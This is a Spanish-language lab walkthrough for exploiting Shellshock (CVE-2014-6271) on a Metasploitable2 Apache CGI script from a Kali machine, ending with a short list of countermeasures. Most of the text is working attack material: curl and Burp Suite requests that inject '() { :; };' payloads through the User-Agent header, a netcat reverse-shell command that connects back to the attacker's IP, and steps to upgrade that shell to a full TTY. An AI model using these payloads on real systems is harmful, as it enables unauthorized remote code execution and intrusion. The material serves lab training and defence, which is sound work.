Un laboratorio de demostración completo y moderno para CVE-2014-6271 (Shellshock), que incluye arquitectura, pasos de explotación, uso de Burp Suite, shells inversas, contramedidas y una hoja de referencia completa de comandos.
Shellshock (CVE-2014-6271) es una de las vulnerabilidades de ejecución remota de código más influyentes jamás descubiertas. El fallo afecta a Bash y permite a atacantes ejecutar comandos arbitrarios simplemente inyectando cargas maliciosas en variables de entorno.
Esta guía proporciona una demostración completa y reproducible utilizando:
Está diseñada para enseñanza, investigación, formación y concienciación general en ciberseguridad.
| Componente | Función | Sistema Operativo | Dirección IP | Servicios Clave |
|---|---|---|---|---|
| Kali Linux | Atacante | Kali Linux (último) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Servidor vulnerable objetivo | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, scripts CGI, Bash |
| Apache mod_cgi | Ejecución de scripts | Se ejecuta en MSF2 | n/a | Expone Bash a través de CGI |
| shellshock.sh | Punto de entrada vulnerable | Bash CGI | n/a | Muestra variables de entorno |
Esta sencilla configuración de dos nodos refleja muchas implementaciones heredadas aún presentes en sistemas industriales y de IoT.
En Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Prueba el script desde Kali:
curl http://192.168.1.5/cgi-bin/shellshock.sh
Deberías ver las variables de entorno mostradas.
Shellshock ocurre cuando Bash analiza incorrectamente variables de entorno que se asemejan a definiciones de funciones.
Una variable maliciosa como:
() { :; }; /bin/bash -c "id"
hará que Bash ejecute el comando después de la definición de la función — incluso aunque la función nunca sea invocada.
Las aplicaciones CGI son especialmente vulnerables porque las cabeceras HTTP se pasan automáticamente a los scripts como variables de entorno.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
La salida debería incluir:
Vulnerable
uid=33(www-data)
Esto confirma ejecución remota de código.
Visita:
http://192.168.1.5/cgi-bin/shellshock.sh
Envía la solicitud a Repeater.
Reemplaza la cabecera User-Agent con:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Deberías ver:
BurpTest
uid=33(www-data)
Burp Suite confirma la vulnerabilidad de manera visual y educativa.
Inicia el oyente en Kali:
nc -lvnp 4444
Desencadena la reversa shell a través del script CGI:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Una shell se conectará de vuelta a Kali.
Dentro de la reversa shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspende la sesión:
Ctrl + Z
En Kali:
stty raw -echo; fg
Presiona Enter.
Ahora tienes:
┌────────────────────────┐
│ Atacante (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Cabecera HTTP maliciosa (Shellshock)
│
▼
┌──────────────────────────┐
│ Servidor Web Apache (CGI)│
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Cabecera → Variable de entorno CGI
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Comando inyectado se ejecuta
│
▼
┌─────────────────────────┐
│ Acceso a shell www-data│
└───────────┬─────────────┘
│
4. Reversa Shell → Kali
│
▼
┌──────────────────────────┐
│ TTY interactiva completa │
└──────────────────────────┘
Un recorrido visual de las etapas clave del ataque.
| Descripción | Imagen |
|---|---|
| Escaneo Nmap + salida de prueba Shellshock | ![]() |
| Burp Suite – Solicitud inicial de Shellshock | ![]() |
| Burp Suite – Inyección de carga / cabecera | ![]() |
| Reversa shell recibida en Kali (nc) | ![]() |
Parchear a una versión que maneje correctamente el análisis de funciones.
El CGI heredado introduce un riesgo sistémico innecesario.
Descartar patrones sospechosos como:
() { :; };
Restringir permisos del usuario del servidor web (www-data).
Detiene reversas shells y la exfiltración de datos.
Las firmas modernas de WAF detectan Shellshock de inmediato.